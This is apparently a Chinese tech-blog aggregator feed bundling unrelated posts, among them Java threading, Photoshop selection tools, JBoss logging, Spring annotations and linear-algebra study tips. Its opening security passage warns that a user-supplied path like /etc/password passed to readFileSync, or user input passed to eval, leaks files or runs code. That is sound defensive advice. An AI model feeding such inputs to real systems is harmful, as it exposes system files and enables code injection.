    • 拒绝访问攻击每个请求因为都会默认带上cookie,而服务器一般都会限制cookie的大小,这就导致了,如果用户客户端cookie被设置成了超过某个阀值,那么用户就再也无法访问网站了
    • cookie防窃取一般cookie窃取都是通过JavaScript(XSS漏洞)获取到的,所以尽量将cookie设置成http only,并且加上cookie过期时间

关于cookie的安全问题,之前WebX已经有较好的解决方案;此次Midway不负责cookie的设置和校验等工作,只负责转发到WebX层面进行check

关于Node.js

XSS等注入性漏洞是所有漏洞中最容易被忽略,占互联网总攻击的70%以上;开发者编写Node.js代码时,要时刻提醒自己,永远不要相信用户的输入。

比如如下几个例子。

  • var mod = fs.readFileSync('path');如果path来源于用户输入,那么假设用户输入 /etc/password,则会读取到不应该读取的内容,造成密码泄漏风险
  • var result = eval(jsonVal);一定要确保jsonVal是json,而不是用户的输入
  • …… 其他可能包含用户输入的地方,一定要确认用户的输入是我们期望的值

总结

前后端分离模式下,可以让传统的前端开发人员开始编写后端代码,虽然从架构上讲,只负责模板这一层,但也会接触大量的后端代码;所以安全对于前端来说,这是一个不小的挑战。

【附】相关文章列表

1. 《前后端分离的思考与实践(一)》

2. 《前后端分离的思考与实践(二)》

3. 《前后端分离的思考与实践(三)》

新手抠图教程!教你掌握PHOTOSHOP中5个快速选择工具

$
0
0

PS中有很多选择工具,如何挑选选择工具,取决于选择的对象,例如一个简单的对象香蕉或者非常复杂的对象头发等。

这篇教程主要是针对初学者来编写的,主要讲解如何使用5种快速选择工具来建立有效的选区。

一:魔棒工具

这是建立选区最简单的方法,但只有在背景色为纯色时才会比较有效。

因此,当要选择的对象的背景为空白背景时,可使用魔棒工具,例如一张产品拍摄图。

1.jpg

在建立选区时,首先,要确保图片在一个图层中,只需右键单击背景图层,选择and choose ‘Layer from Background’。然后,选择魔棒工具单击背景即可。

2.jpg

这样,背景将会被选中,可以删除背景,并在该图层的下方为其添加新背景。

二:钢笔工具

如果是光滑、弯曲,且有硬边的对象,使用钢笔工具是再合适不过的了。

3.jpg

选择钢笔工具,然后单击,并沿着对象边缘进行拖拽,再次遇到路径时松开鼠标即可闭合。

4.jpg

然后,选择直接选择工具,可以用这个工具通过点击锚点来清理路径并移动路径,或者调整角度。完成路径后,右击并选择”建立选区”。

5.jpg

这样,对象就被选中了,可以进行反选以删除背景。

三:颜色范围

如果要选择的对象与背景有明显的颜色差异,可通过颜色范围建立复杂的选区,例如水浪。

6.jpg

选择> 颜色范围,利用颜色拾取器单击对象。在这个例子中,我单击的是水浪的白色区域。

7.jpg

单击确定即可建立选区,然后,复制选区,将其粘贴到另一张图片中。

8.jpg

四:快速选择工具和调整边缘

在PS中,快速选择工具对于建立简单的选区是非常强大的,另外,可通过调整边缘控制优化选区。

9.jpg

对选择对象使用快速选择画笔进行拖拽选择,可以减小画笔的尺寸以进行某些细节地方的选择。按下Alt键来添加或减去某些部分,完成之后,点击菜单 选择 > 调整边缘。

10.jpg

接下来,使用细化边缘工具沿着选区的边缘进行描绘。对于树叶部分可选用大尺寸画笔,而有明显轮廓边缘的树干部分选用较小的画笔。还可以移动调整边缘滑块对边缘进行光滑、羽化或硬化处理。

11.jpg

完成以上操作之后,点击确定保存修改。同时,可复制选区,并将其粘贴到一个新背景中。

五:颜色通道

在选择比较复杂的对象比如头发时,使用通道工具相对比较简便。

12.jpg

首先,点击通道面板。

13.jpg

点击每一个图层,找出图层背景和头发部分颜色差异最大的图层。然后,复制该图层。

14.jpg

选择被复制的图层,点击图像>调整>亮度/对比度,在不减少发丝的前提下,尽可能地调高亮度和对比度。理想状态下,可以将背景调成纯白色,而头发为纯黑色。

15.jpg

接着,使用一个黑色的画笔补全模特身体的其他部分,白色画笔用于描绘背景中的暗色区域。

16.jpg

完成之后,选择图像>调整>转换图像,然后,Ctrl+单击图层缩略图来建立选区。

17.jpg

现在,可以隐藏该图层,回到初始的RGB图层。

18.jpg

复制选区,并将其粘贴到一个新背景上。

希望以上教程能对初学者学习PS有所帮助。谢谢大家!

原文地址: 10steps

译文地址: psdreamworks

Java专利侵权案:甲骨文赢得对谷歌的上诉

$
0
0

北京时间 5 月 10 日上午消息,甲骨文在与谷歌的 Java 专利侵权案中获得了一项关键的胜利。美国上诉法院本周判决称,甲骨文有权根据版权法来保护其软件。此前,下级法院曾驳回了甲骨文的起诉。

在一份长达 69 页的判决书中,由 3 名法官组成的小组判决称,甲骨文可以就谷歌在 Android 系统中对 Java 的使用主张版权。甲骨文此前指控称,谷歌在未得到授权的情况下就使用了 Java 的代码。

这起案件被称作“知识产权案件的世界大赛”,并受到了软件行业的密切关注。这起案件主要关于,平台向软件开发者提供的 API (应用程序接口)是否也受版权法的保护。API 通常被用于不同软件之间的通信。美国旧金山地区法官威廉·阿尔苏普(William Alsup)2012 年时判决称,这种情况不受版权法保护。

此外,上诉法院还要求对此前的另一项判决发回重审,即谷歌是否根据合理使用的规则来使用这些代码。下级法院陪审团此前无法就这一问题做出判断。

甲骨文总法律顾问多里安·戴利(Dorian Daley)对这一判决表示欢迎,而谷歌则对这一判决表示失望。

甲骨文此前起诉称,谷歌在开发 Android 系统的过程中抄袭了许多材料,包括超过 37 个 Java 的 API,以及 11 行 Java 源代码。与其他知识产权内容一样,这些内容受到版权法的保护。甲骨文此前还起诉谷歌侵犯了与 Java 有关的专利权,但未能胜诉。

在 2010 年收购 Sun 之后,甲骨文获得了 Java 的所有权。在下级法院的庭审中,多名重量级人物出庭作证,包括甲骨文 CEO 拉里·埃里森(Larry Ellison)、谷歌 CEO 拉里·佩奇(Larry Page),以及前 Sun CEO 斯科特·麦克尼利(Scott McNealy)和乔纳桑·施瓦茨(Jonathan Schwartz)。(维金)

本文链接

Java多线程中join方法的理解

$
0
0

thread.Join把指定的线程加入到当前线程,可以将两个交替执行的线程合并为顺序执行的线程。比如在线程B中调用了线程A的Join()方法,直到线程A执行完毕后,才会继续执行线程B。

t.join();      //使调用线程 t 在此之前执行完毕。
t.join(1000);  //等待 t 线程,等待时间是1000毫秒

 

先上一段JDK中代码:

Java代码   收藏代码
  1. /** 
  2.      *  Waits at most <code>millis</code> milliseconds for this thread to   
  3.      * die. A timeout of <code>0</code> means to wait forever.   
  4.      */  
  5.     //此处A timeout of 0 means to wait forever 字面意思是永远等待,其实是等到t结束后。  
  6.     public final synchronized void join(long millis)    throws InterruptedException {  
  7.         long base = System.currentTimeMillis();  
  8.         long now = 0;  
  9.   
  10.         if (millis < 0) {  
  11.             throw new IllegalArgumentException("timeout value is negative");  
  12.         }  
  13.           
  14.         if (millis == 0) {  
  15.             while (isAlive()) {  
  16.                 wait(0);  
  17.             }  
  18.         } else {  
  19.             while (isAlive()) {  
  20.                 long delay = millis - now;  
  21.                 if (delay <= 0) {  
  22.                     break;  
  23.                 }  
  24.                 wait(delay);  
  25.                 now = System.currentTimeMillis() - base;  
  26.             }  
  27.         }  
  28.     }  

 从代码上看,如果线程被生成了,但还未被起动,调用它的 join() 方法是没有作用的,将直接继续向下执行

 

Join方法实现是通过wait(小提示:Object 提供的方法)。 当main线程调用t.join时候,main线程会获得线程对象t的锁(wait 意味着拿到该对象的锁),调用该对象的wait(等待时间),直到该对象唤醒main线程 ,比如退出后。这就意味着main 线程调用t.join时,必须能够拿到线程t对象的锁

 

Example1:

Java代码   收藏代码
  1. public class JoinTest implements Runnable{  
  2.       
  3.     public static int a = 0;  
  4.   
  5.     public void run() {  
  6.         for (int k = 0; k < 5; k++) {  
  7.             a = a + 1;  
  8.         }  
  9.     }  
  10.   
  11.     public static void main(String[] args) throws Exception {  
  12.         Runnable r = new JoinTest();  
  13.         Thread t = new Thread(r);  
  14.         t.start();        
  15.         System.out.println(a);  
  16.     }         
  17. }  

 请 问程序的输出结果是5吗?答案是:有可能。其实你很难遇到输出5的时候,通常情况下都不是5。当然这也和机器有严重的关系。为什么呢?我的解释是当主线程 main方法执行System.out.println(a);这条语句时,线程还没有真正开始运行,或许正在为它分配资源准备运行。因为为线程分配资源需要时间,而main方法执行完t.start()方法后继续往下执行System.out.println(a);,这个时候得到的结果是a还没有被 改变的值0 。怎样才能让输出结果为5!其实很简单,join() 方法提供了这种功能。join() 方法,它能够使调用该方法的线程在此之前执行完毕。

Java代码   收藏代码
  1. public static void main(String[] args) throws Exception {  
  2.         Runnable r = new JoinTest();  
  3.         Thread t = new Thread(r);  
  4.         t.start();        
  5.         t.join(); //加入join()  
  6.         System.out.println(a);  
  7.     }     

 这个时候,程序输入结果始终为5。

为 了证明如果不使用t.join()方法,主线程main方法的System.out.println(a);语句将抢先执行,我们可以在main方法中加入一个循环,这个循环用来延长main方法执行的时间,循环次数将严重取决于机器性能。如果循环次数得当,我们也可以看到a的输出结果是5。

Java代码   收藏代码
  1. public static void main(String[] args) throws Exception {  
  2.         Runnable r = new JoinTest();  
  3.         Thread t = new Thread(r);  
  4.         t.start();        
  5.         //t.join(); //加入join()  
  6.             /* 
  7.              注意循环体内一定要有实际执行语句,否则编译器或JVM可能优化掉你的这段代码,视这段代 
  8.              码为无效。             
  9.             */  
  10.             for (int i=0; i<300; i++) {                
  11.                 System.out.print(i);  
  12.             }  
  13.             System.out.println();  
  14.         System.out.println(a);  
  15.     }         

 经自己测试,最后a一直是5.

本例参考: http://agio.iteye.com/blog/210600

 

Example2:join(n)

Java代码   收藏代码
  1. class RunnableImpl implements Runnable {  
  2.   
  3.     public void run() {  
  4.         try {  
  5.             System.out.println("Begin sleep");  
  6.             Thread.sleep(1000);  
  7.            System.out.println("End sleep");  
  8.         } catch (InterruptedException e) {  
  9.             e.printStackTrace();  
  10.         }  
  11.   
  12.     }  
  13. }  
 
Java代码   收藏代码
  1. public class JoinTest{  
  2.       
  3.     public static void main(String[] args) {  
  4.         Thread t = new Thread(new RunnableImpl());  
  5.         t.start();  
  6.         try {  
  7.             t.join(1000);  
  8.             System.out.println("joinFinish");  
  9.         } catch (InterruptedException e) {  
  10.             e.printStackTrace();       
  11.         }  
  12.     }  
  13. }  

结果是:
Begin sleep
End sleep
joinFinish

明白了吧,当main线程调用t.join时,main线程等待t线程,等待时间是1000,如果t线程Sleep 2000呢

Java代码   收藏代码
  1. class RunnableImpl implements Runnable {  
  2.   
  3.     public void run() {  
  4.         try {  
  5.             System.out.println("Begin sleep");  
  6.             Thread.sleep(2000); //原来为1000  
  7.            System.out.println("End sleep");  
  8.         } catch (InterruptedException e) {  
  9.             e.printStackTrace();  
  10.         }  
  11.   
  12.     }  
  13. }  

结果是:
Begin sleep
joinFinish
End sleep
也就是说main线程只等1000毫秒,不管T什么时候结束.

参考: http://blog.csdn.net/FG2006/archive/2011/05/04/6393768.aspx

 

Example3:

Java代码   收藏代码
  1. class CustomThread1 extends Thread {    
  2.       
  3.     public void run() {    
  4.         String threadName = Thread.currentThread().getName();    
  5.         System.out.println(threadName + " start.");    
  6.         try {    
  7.             for (int i = 0; i < 5; i++) {    
  8.                 System.out.println(threadName + " loop at " + i);    
  9.                 Thread.sleep(1000);    
  10.             }    
  11.             System.out.println(threadName + " end.");    
  12.         } catch (Exception e) {    
  13.             System.out.println("Exception from " + threadName + ".run");    
  14.         }    
  15.     }    
  16. }    
  17.   
  18. class CustomThread extends Thread {    
  19.     CustomThread1 t1;    
  20.     public CustomThread(CustomThread1 t1) {            
  21.         this.t1 = t1;    
  22.     }    
  23.     public void run() {    
  24.         String threadName = Thread.currentThread().getName();    
  25.         System.out.println(threadName + " start.");    
  26.         try {    
  27.             t1.join();    
  28.             System.out.println(threadName + " end.");    
  29.         } catch (Exception e) {    
  30.             System.out.println("Exception from " + threadName + ".run");    
  31.         }    
  32.     }    
  33. }    
  34.   
  35. public class JoinTestDemo {    
  36.   
  37.     public static void main(String[] args) {    
  38.         String threadName = Thread.currentThread().getName();    
  39.         System.out.println(threadName + " start.");    
  40.         CustomThread1 t1 = new CustomThread1();    
  41.         CustomThread t = new CustomThread(t1);    
  42.         try {    
  43.             t1.start();    
  44.             Thread.sleep(2000);    
  45.             t.start();    
  46.             t.join(); //在代碼2里,將此處注釋掉    
  47.         } catch (Exception e) {    
  48.             System.out.println("Exception from main");    
  49.         }    
  50.         System.out.println(threadName + " end!");    
  51.     }    
  52. }   

 结果:

main start.    //main方法所在的线程起动,但没有马上结束,因为调用t.join();,所以要等到t结束了,此线程才能向下执行。

[CustomThread1] Thread start.     //线程CustomThread1起动
[CustomThread1] Thread loop at 0  //线程CustomThread1执行
[CustomThread1] Thread loop at 1  //线程CustomThread1执行
[CustomThread] Thread start.      //线程CustomThread起动,但没有马上结束,因为调用t1.join();,所以要等到t1结束了,此线程才能向下执行。
[CustomThread1] Thread loop at 2  //线程CustomThread1继续执行
[CustomThread1] Thread loop at 3  //线程CustomThread1继续执行
[CustomThread1] Thread loop at 4  //线程CustomThread1继续执行
[CustomThread1] Thread end.       //线程CustomThread1结束了
[CustomThread] Thread end.        // 线程CustomThread在t1.join();阻塞处起动,向下继续执行的结果

main end!      //线程CustomThread结束,此线程在t.join();阻塞处起动,向下继续执行的结果。

 

将上例中的join注释掉:

Java代码   收藏代码
  1. public class JoinTestDemo {    
  2.     public static void main(String[] args) {    
  3.         String threadName = Thread.currentThread().getName();    
  4.         System.out.println(threadName + " start.");    
  5.         CustomThread1 t1 = new CustomThread1();    
  6.         CustomThread t = new CustomThread(t1);    
  7.         try {    
  8.             t1.start();    
  9.             Thread.sleep(2000);    
  10.             t.start();    
  11.            //t.join();  
  12.         } catch (Exception e) {    
  13.             System.out.println("Exception from main");    
  14.         }    
  15.         System.out.println(threadName + " end!");    
  16.     }    
  17. }   

 结果:

main start. // main方法所在的线程起动,但没有马上结束,这里并不是因为join方法,而是因为Thread.sleep(2000);


[CustomThread1] Thread start.      //线程CustomThread1起动
[CustomThread1] Thread loop at 0   //线程CustomThread1执行
[CustomThread1] Thread loop at 1   //线程CustomThread1执行
main end!   // Thread.sleep(2000);结束,虽然在线程CustomThread执行了t1.join();,但这并不会影响到其他线程(这里main方法所在的线程)。
[CustomThread] Thread start.       //线程CustomThread起动,但没有马上结束,因为调用t1.join();,所以要等到t1结束了,此线程才能向下执行。
[CustomThread1] Thread loop at 2   //线程CustomThread1继续执行
[CustomThread1] Thread loop at 3   //线程CustomThread1继续执行
[CustomThread1] Thread loop at 4   //线程CustomThread1继续执行
[CustomThread1] Thread end.       //线程CustomThread1结束了
[CustomThread] Thread end.        // 线程CustomThread在t1.join();阻塞处起动,向下继续执行的结果

本例参考: http://blog.csdn.net/bzwm/archive/2009/02/12/3881392.aspx

 

Example4 :

main 线程调用t.join时,必须能够拿到线程t对象的锁,如果拿不到它是无法wait的 ,刚开的例子t.join(1000)不是说明了main线程等待1 秒,如果在它等待之前,其他线程获取了t对象的锁,它等待时间可不就是1毫秒了 。

Java代码   收藏代码
  1. class RunnableImpl implements Runnable {  
  2.   
  3.     public void run() {  
  4.         try {  
  5.             System.out.println("Begin sleep");  
  6.             Thread.sleep(2000);  
  7.             System.out.println("End sleep");  
  8.         } catch (InterruptedException e) {  
  9.             e.printStackTrace();  
  10.         }  
  11.     }  
  12. }  
 
Java代码   收藏代码
  1. class ThreadTest extends Thread {  
  2.   
  3.     Thread thread;  
  4.   
  5.     public ThreadTest(Thread thread) {  
  6.         this.thread = thread;  
  7.     }  
  8.   
  9.     @Override  
  10.     public void run() {  
  11.         synchronized (thread) {  
  12.             System.out.println("getObjectLock");  
  13.             try {  
  14.                 Thread.sleep(9000);  
  15.             } catch (InterruptedException ex) {  
  16.              ex.printStackTrace();  
  17.             }  
  18.             System.out.println("ReleaseObjectLock");  
  19.         }  
  20.     }  
  21. }  
 
Java代码   收藏代码
  1. public class JoinTest {  
  2.         public static void main(String[] args) {  
  3.             Thread t = new Thread(new RunnableImpl());  
  4.            new ThreadTest(t).start();  
  5.             t.start();  
  6.             try {  
  7.                 t.join();  
  8.                 System.out.println("joinFinish");  
  9.             } catch (InterruptedException e) {  
  10.                 e.printStackTrace();           
  11.             }  
  12.         }  
  13. }  

 结果:
getObjectLock
Begin sleep
End sleep
ReleaseObjectLock
joinFinish

 

在main方法中 通过new  ThreadTest(t).start()实例化 ThreadTest 线程对象, 它 通过 synchronized  (thread) ,获取线程对象t的锁,并Sleep(9000)后释放,这就意味着,即使main方法t.join(1000)等待一秒钟,它必须等待ThreadTest 线程释放t锁后才能进入wait方法中,它实际等待时间是9000+1000ms。

例子参考Example2来源.



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



使用async属性异步加载执行JavaScript

$
0
0

HTML5让我兴奋的一个最大的原因是,它里面实现的新功能和新特征都是我们长久以来一直期待的。比如,我以前一直在使用 placeholders,但以前必须要用JavaScript实现。而HTML5里给JavaScript标记提供的 async属性,使JavaScript能异步加载执行。之前我需要各种的JavaScript插件来实现这种功能,但现在这个新属性能让我们轻松的实现异步加载。

async – HTML代码

真的非常简单,就像下面这样:

<script async src="siteScript.js" onload="myInit()"></script>

事实上,如果你是个有严谨精神的程序员,你应该在你90%以上的 SCRIPT标记上使用 async属性。

defer – HTML代码

还有一个跟 async属性相似的 defer属性:

<script defer src="siteScript.js" onload="myInit()"></script>

async属性的在语法上非常相似。

async & defer – 不同之处

这篇WebKit博客deferasync之间的不同之处解释的非常清楚:

浏览器对标记有 async属性或 defer属性的scripts会立即加载并解析,同时也会支持依赖于这个脚本进行初始化的onload事件。 async属性和 defer属性的不同之处在于何时执行这个脚本。标注有 async属性的Script会在下载完成后即可执行,不需要等待window的load事件。这意味着标记有 async属性的脚本并不一定会按在页面中嵌入的顺序执行。而标记有 defer属性的脚本却一定会按它们在页面上的顺序依次执行。执行会在解析完全完成后开始,但会在document的 DOMContentLoaded事件之前。

支持 async 和 defer 属性的浏览器有哪些?

引用Safari博客上的话:

WebKit引擎的浏览器(谷歌浏览器和Safari浏览器)。火狐浏览器从3.6版开始支持async 和 defer 属性。IE也很早就支持 defer 属性,但对async属性不支持,在IE9中支持onload属性。

async 太有用了!

看到各浏览器实现 async功能着实让我非常高兴。浏览器网站页面时被JavaScript卡住的确是个很大的问题, async属性的异步加载、执行能力一定会让网站的页面速度增色不少。


JBoss AS 7性能调优(四)

$
0
0

 原文: http://www.mastertheboss.com/jboss-performance/jboss-as-7-performance-tuning/page-5

 

Logging调优

记录日志是每一个应用程序的一个重要任务,默认的配置一般只适合开发,但不适用于生产环境。

您切换到生产环境时需要考虑的关键要素是:

1.   选择一个合适的输出日志的处理handler。
2.   选择一个合适的日志级别,它恰好可以提供给你需要的足够信息,不多也不少。
3.   选择一个合适的日志输出格式。

鉴于一般考虑,日志的处理handler,默认配置会启动控制台和文件的日志输出。虽然这可能在开发环境中是合适的,但在生产环境中使用控制台日志输出将会是一个昂贵的处理过程,导致大量的非缓冲I / O。虽然一些应用程序可能适合控制台日志输出,但大多数应用更适合关闭控制台日志输出,只使用文件输出的处理handler。
为了去掉控制台日志,你可以简单地注释掉其处理handler:

<root-logger>

  <level name="INFO"/>

   <handlers>

     <!--   <handler name="CONSOLE"/> -->

   <handler name="FILE"/>

  </handlers>

</root-logger>

下一步是选择正确的日志记录级别。显然,记录的日志越少,发生的I / O就越少,这样您的整个应用程序的性能会更好。默认配置使用“INFO”级别根记录器。你可以考虑提高到较高的级别,如“WARN”或(使用细粒度的approach)改变单一的日志记录类别(category)。

<logger category="org.hibernate">

  <level name="WARN"/>

</logger>

在这个例子中,我们刚才提出的org.hibernate包使用“WARN”级别,这将从Hibernate中输出更加简洁的日志信息。
最后,日志模式(pattern)也会影响您的应用程序的性能。例如,我们使用默认模式格式,如下所示:

<pattern-formatter

 pattern="%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"/>

日志记录模式的详细解释可以在第2章的控制台处理handler内容中找到。从这个基本格式开始,可尽可能考虑添加标志%l,可以通过打印出行号和发出日志的Class来提高你的日志的详细程度:

<pattern-formatter

 pattern="%l %d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"/>

一旦服务器配置被重新加载,控制台输出下面的日志信息:


虽然这些信息在开发时非常有用,但它会导致移植到生产环境中产生很大的性能负担。
其它可能对你的日志性能造成负面影响的标志有%C(打印出调用者的Class信息),%M(它输出打印日志的方法)和%F(它输出发出日志记录请求的文件名)。

作者:wilbertzhou 发表于2014-5-9 22:26:41 原文链接
阅读:86 评论:0 查看评论

srping mvc RequestMapping实现

$
0
0

spring mvc中定义请求的url只需要在方法上添加注解: @RequestMapping("aa.mvc")即可定义访问的url地址,但是你是否有考虑过为什么添加这个注解就可以实现url访问地址的定义了呢?下面解析下他的实现原理!

首先定义注解RequestMapping

@Retention(RetentionPolicy.RUNTIME)
@Target(value = { ElementType.METHOD, ElementType.TYPE })
public @interface RequestMapping
{
public String value();
}

mvc中常需要对输入值进行合法性校验,所以也定义了校验的注解MyValid

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.PARAMETER)//在参数中使用
public @interface MyValid
{
public String value();
}


在测试类中:

package com.cml.mvc;


import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.lang.reflect.Type;


public class Parameters
{
public static void main(String[] args) throws Exception
{
Class clz = Parameters.class;
Method[] methods = clz.getDeclaredMethods();


for (Method method : methods)
{
// 是方法上是否有注解@RequestMapping
if (method.isAnnotationPresent(RequestMapping.class))
{
RequestMapping re = method.getAnnotation(RequestMapping.class);
System.out.println("请求的url:" + re.value());
// 获取方法上的所有注解
Annotation[][] annotations = method.getParameterAnnotations();


for (Annotation[] parameters : annotations)
{
for (Annotation an : parameters)
{
if (an.annotationType() == MyValid.class)
{
System.out.println("进入自定义校验!");
}
}
}
}
}
}


@RequestMapping("aa.mvc")
public void test(@MyValid("test") String name, int type)
{
}
}

主要使用到的知识还是反射的内容,所以说没有反射就没有大部分的框架!

作者:believer123 发表于2014-5-10 23:11:43 原文链接
阅读:0 评论:0 查看评论

OpenGLES 如何在十天内掌握线性代数 - 希望这是真的!

$
0
0

OpenGLES 如何在十天内掌握线性代数 - 希望这是真的!

太阳火神的美丽人生 ( http://blog.csdn.net/opengl_es)

本文遵循“ 署名-非商业用途-保持一致”创作公用协议

转载请保留此句:太阳火神的美丽人生 -  本博客专注于 敏捷开发及移动和物联设备研究:iOS、Android、Html5、Arduino、pcDuino,否则,出自本博客的文章拒绝转载或再转载,谢谢合作。


以下 网易公开课相比较而言,可汗学院的视频更基础一些。字幕翻译也都不错,网易精品来着,不可小觑。
可汗学院公开课:线性代数

麻省理工公开课:线性代数


                                                                                                                                              
线性代数标准教材中的内容目录,这个有助于整体把握需要学习的内容,时刻掌握当前研究的部分中,都对应哪些章节,这样可能就是后文中的快速扎实的学习方法了吧。
前 言

第一章 行列式
   1.1 n阶行列式
   1.2 行列式的性质
   1.3 行列式的计算
   1.4 Laplace定理
   1.5 Cramer法则

第二章 矩阵
   2.1 矩阵的概念
   2.2 矩阵的运算
   2.3 可逆矩阵
   2.4 矩阵的分块
   2.5 初等变换与矩阵的秩
   2.6 分块矩阵的初等变换
   2.7 高斯消元法

第三章 n维向量
   3.1 n维向量
   3.2 向量组的线性关系
   3.3 向量组的秩
   3.4 齐次线性方程组
   3.5 非齐次线性方程组

第四章 线性空间
   4.1 线性空间的概念
   4.2 维数、基与坐标
   4.3 基变换与坐标变换
   4.4 欧氏空间

第五章 矩阵的对角化
   5.1 矩阵的特征值与特征向量
   5.2 相似矩阵和矩阵的对角化
   5.3 正交阵和实对称阵的对角化

第六章 二次型
   6.1 基本概念及其标准形式
   6.2 化实二次型为标准型
   6.3 实二次型的正惯性指数
   6.4 正定二次型

第七章 线性变换
   7.1 线性变换的概念
   7.2 线性变换与矩阵
   7.3 线性变换的特征子空间、值域和核
   7.4 欧氏空间的正交变换和对称变换

                                                                                                                                              
据说这本书很牛叉,虽然当当里,买的人不错,但这个量相较其它书来说也是不错了,有几个人喜欢看这种让人头皮发麻的内容呢,除非像俺一样被程序里逼得麻了N回了,最终还是觉得用这本书来麻一回,总比以后接着被麻要强。谁说不是呢?!
希望明天能送到,赶周末加加班,研究研究,要不真就黔驴技穷了。要想黔驴有技可施,那得先吃草料,没草料,哪来的东西吐出来再嚼呢,这个学名好像叫反刍吧,不知道驴是否反刍,我只知道,学习东西,俺总是先在有草的时侯,尽量开大胃口;有空的时侯,再吐出来嚼烂再咽。吃饭的话,可能真不行,还没那功夫 偷笑




                                                                                                                                              
终于把下面这篇文章的 译言 网的链接带上了,原来就是多选一块儿,细心和耐心往往可能节约你很多时间和精力!

斯考特·杨在12个月内自学完成了4年麻省理工学院计算机科学的33门课程,并通过了MIT的实际测试。平均算来,杨修完每门课程大概只需要一个半星期。诀窍在于,他有一套加速学习的策略,而且这套策略,并不只是天才们的专利。

如何在十天内掌握线性代数

译者: MapleFlying原文作者:Study Hacks 
发布:2012-11-01 14:13:48 挑错 |  查看译者版本 |  收藏本文

最近,我的朋友 斯考特·杨(Scott Young)成就了一个惊人的壮举:他在一年之内,完成了传说中的 MIT计算机科学课程表的全部33门课,从线性代数到计算理论。最重要的是,他是自学的,观看在线教程讲座,并用实际的考试作自我评估。(到斯考特的 FAQ页面,看看他如何完成这个挑战)

按照他的进度,读完一门课程大概只需要1.5个星期。我坚信,能快速掌握复杂信息,对成就卓越事业至关重要。因此,我很自然地问起斯考特,让他给我们分享他的学习奥秘。所幸他答应了。接下来是一份斯考特的详细解说稿,深入剖析他的学习技巧(包括具体例子),展示他如何拿下这MIT挑战。以下时间交给斯考特……

看我怎么驾驭MIT计算机科学的课程

我老想着学快一点,再快一点,并为此兴奋不已。掌握那些重要的学问吧,专业知识与娴熟技艺将是你的职业资本,帮你赚取金钱与享受生活。如果过得好是你的目标,学问能引你到向往之地。

尽管学得更快有很多好处,但大多数人并不愿意学习“如何学习”。大概是因为我们不肯相信有这种好事,在我们看来,学习的速度只取决于好基因与天赋。确实总有些人身怀天赋本钱,但研究表明你的学习方法也很重要。更深层次的知识加工,与时而反复的温故知新,在某些情况下会 加倍你的学习效率。是的,“刻意练习”方面的 研究表明,没有正确的方法,学习将永远停滞。

今天,我想分享一下学习策略,看看我如何 在12个月内完成4年MIT计算机科学的课程。这套策略历经33门课的锤炼,试图弄清楚学得更快的窍门,哪些方法有用,哪些没用。

为什么临时抱佛脚没用?

很多学生可能嘲笑我,妄想只花1年的时间学会4年的课程。毕竟,我总可以临时抱佛脚,什么都不懂还能顺利通过考试,不是吗? 很可惜,这个策略在MIT行不通。首先,MIT的考试苛求解决问题的技巧,还经常出些没见过的题型。其次,MIT的课程讲究循序渐进,就算你能死记硬背侥幸通过一次考试,同系列课程的第七课可能就跟不上了。除了死记硬背,我不得不另辟蹊径,加速理解过程。

你能加速理解吗?

“啊哈!”当我们终于想通了,都曾经这样恍然大悟地欢呼过。问题是,大多数人都没有系统地思考。经典的学生求学之路,就是听讲座,读书;如果还不懂,只好枯燥地做大量习题(题海)或重看笔记。没有系统的方法,想更快地理解似乎是天方夜谭。毕竟,顿悟的心理机制,还全然不知。

更糟的是,理解本身,很难称得上是一种开关。它像洋葱的层层表皮,从最肤浅的领会到深层次的理解,逐层巩固对科学革命的认知。给这样的洋葱剥皮,则是常人知之甚少、易被忽略的理解过程。

加速学习的第一步,就是揭秘这个过程。如何洞悉问题,加深你的理解,取决于两个因素:


  1. 建立知识联系;
  2. 自我调试排错。


知识联系很重要,因为它们是了解一个想法的接入点。我曾纠结于傅里叶变换,直至我意识到它将压强转化为音高、或将辐射转化为颜色。这些见解,常在你懂的和你不懂的之间建立联系。调试排错也同样重要,因为你常常犯错,这些错误究根到底,还是知识残缺,胸无成竹。贫瘠的理解,恰似一个错漏百出的软件程序。如果你能高效地自我调试,必将大大提速学习进程。建立准确的知识联系与调试排错,就足够形成了深刻的问题见解。而机械化技能与死记硬背,通常也只在你对问题的本质有了肯定的直觉以后,才有所裨益。

钻研(The Drilldown Method):你学得更快

经年累月,我完善了一个方法,可以加速逐层增进理解的过程。这个方法至今已被我用于各科目的课题,包括数学、生物学、物理学、经济学与工程学。只需些许修改,它对掌握实用技能也效果很好,比如编程、设计或语言。这个方法的基本结构是:知识面、练习、自省。我将解释每个阶段,让你了解如何尽可能有效率地执行它们,同时给出详细的例子,展示我是怎么应用在实际课程的。

第一阶段:知识面覆盖

你不可能组织一场进攻,如果你连一张地形图都没有。因此,深入研习的第一步,就是对你需要学习的内容有个大致印象。若在课堂上,这意味着你要看讲义或读课本;若是自学,你可能要多读几本同主题的书,相互考证。

学生们常犯的一个错误,就是认为这个阶段是最重要的。从很多方面来讲,这个阶段却是效率最低的,因为你每单位时间的投入只换来了最少量的知识回报。我常常加速完成这个阶段,很有好处,这样,我就可以投入更多时间到后面两个阶段。

如果你在看课程讲座的视频,最好是调到1.5x或2x倍速快进。这很容易做到,只要你下载好视频,然后使用播放器(如 VLC)的“调速”功能。我用这法子两天内看完了一学期的课程视频。如果你在读一本书,我建议你不要花时间去高亮文本。这样只会让你的知识理解停留在低层次,而从长远来看,也使学习效率低下。更好的方法是,阅读时只偶尔做做笔记,或在读过每个主要章节后写一段落的总结。

这里有个例子,是我上机器视觉这门课时的笔记。

第二阶段:练习

做练习题,能极大地促进你的知识理解。但是,如果你不小心,可能会落入两个效率陷阱:


  1. 没有获得即时的反馈:研究表明,如果你想更好地学习,你需要即时的反馈。因此,做题时最好是答案在手,天下我有,每做完一题就对答案,自我审查。没有反馈或反馈迟来的练习,只会严重牵制学习效率;
  2. 题海战术:正如有人以为学习是始于教室终于教室,一些学生也认为大多数的知识理解产自练习题。是的,你总能通过题海战术最终搭起知识框架,但过程缓慢、效率低下。


练习题,应该能凸显你需要建立更好直觉的知识领域。一些技巧,比如我将会谈到的费曼技巧(the Feynman technique),对此则相当有效。对于非技术类学科,它更多的是要求你掌握概念而不是解决问题,所以,你常常只需要完成最少量的习题。对这些科目,你最好花更多的时间在第三阶段,形成学科的洞察力。

第三阶段:自省

